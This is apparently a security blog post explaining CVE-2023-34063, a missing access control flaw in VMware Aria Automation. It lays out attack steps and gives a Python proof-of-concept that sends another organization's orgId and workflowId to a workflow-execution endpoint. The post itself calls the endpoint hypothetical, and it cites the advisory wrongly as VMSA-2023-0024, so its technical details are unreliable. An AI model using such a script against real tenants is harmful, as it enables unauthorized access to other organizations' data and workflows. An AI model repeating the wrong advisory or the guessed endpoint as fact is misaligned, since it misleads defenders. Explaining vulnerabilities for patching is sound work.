CVE-2023-34063 - Exploiting Missing Access Control in Aria Automation with Code Example

_VMWare’s Aria Automation (previously vRealize Automation) is a popular platform used by many companies to automate their cloud and network management tasks. In 2023, a serious vulnerability — CVE-2023-34063 — was discovered, involving missing access checks on sensitive endpoints. This post breaks down what this means, how an attacker can exploit it, and shows a code snippet demonstrating the attack._

What is CVE-2023-34063?

CVE-2023-34063 is a security vulnerability found in Aria Automation. The problem? The app didn’t properly check if a logged-in user had permission to access certain remote organizations (“orgs”) and workflows. If a user could log in (even with basic permissions), they might be able to access data or perform actions meant only for privileged users or even other organizations.

Official advisory:
- VMware Advisory VMSA-2023-0024
- NIST NVD Entry

How Can This Be Exploited?

Imagine you’re a user at “OrgA”, but you send the right API call you copied from another org or tampered with an ID in your request. If Aria Automation doesn’t check you really belong to that Org you just referenced, it might let you in!

Attacker logs in to their own account (no special privileges needed).

2. Attacker hunts for API endpoints that take an orgId or workflowId as part of the request (easy to find if you use the web interface and inspect network traffic).
3. Attacker crafts requests using IDs belonging to other organizations/workflows, e.g. changing orgId in the URL or JSON payload.
4. If vulnerable, the server grants access to that resource, even though the attacker shouldn’t see it.

Suppose there is an API endpoint like

POST /iaas/api/workflows/{workflowId}/executions
Authorization: Bearer eyJhbGciOi...
Content-Type: application/json

{
  "orgId": "attacker-org-id",
  "parameters": {...}
}

An attacker can find the workflowId and orgId of another organization and try

import requests

BASE_URL = "https://aria-automation.example.com";
ACCESS_TOKEN = "eyJhbGciOi..."  # Your authenticated session token

target_workflow = "victim-workflow-id"
target_org = "victim-org-id"

url = f"{BASE_URL}/iaas/api/workflows/{target_workflow}/executions"
headers = {
    "Authorization": f"Bearer {ACCESS_TOKEN}",
    "Content-Type": "application/json"
}
body = {
    "orgId": target_org,
    # Set any required parameters
}

response = requests.post(url, headers=headers, json=body)

if response.status_code == 200:
    print("[*] Successfully accessed victim organization's workflow execution!")
    print("Output:", response.json())
else:
    print(f"[!] Failed with status {response.status_code}: {response.text}")

This script, when run by an authenticated but underprivileged user, could trigger a workflow for a different organization — unauthorized access!

Why Does This Happen?

The flaw here is Missing Access Control (see OWASP A01:2021 – Broken Access Control). The API endpoint trusts the orgId/workflowId input by the client without checking if the logged-in user is actually allowed to use them!

Data leakage: Attackers can access confidential resources or workflow results.

- Operations disruption: Malicious actors might execute jobs in organizations they’re not part of.

Fixes & Mitigation

VMWare has patched this vulnerability in newer versions of Aria Automation. Update to the latest version immediately!
- VMware KB: Aria Automation Security Patch

References & Further Reading

- CVE-2023-34063 at cve.mitre.org
- VMware Security Advisory (VMSA-2023-0024)
- OWASP – Broken Access Control

Wrapping Up

CVE-2023-34063 is a textbook example of why access checks are critical, even after authentication. If you run Aria Automation, check your version—update immediately if you’re at risk!

If you want to learn more about exploitation techniques like this, read the references above. And remember: always test responsibly and with permission.


*This post was written exclusively for educational purposes and responsible disclosure. Don’t use security flaws to attack systems you don’t own or administer!*

Timeline

Published on: 01/16/2024 10:15:07 UTC
Last modified on: 01/25/2024 16:22:30 UTC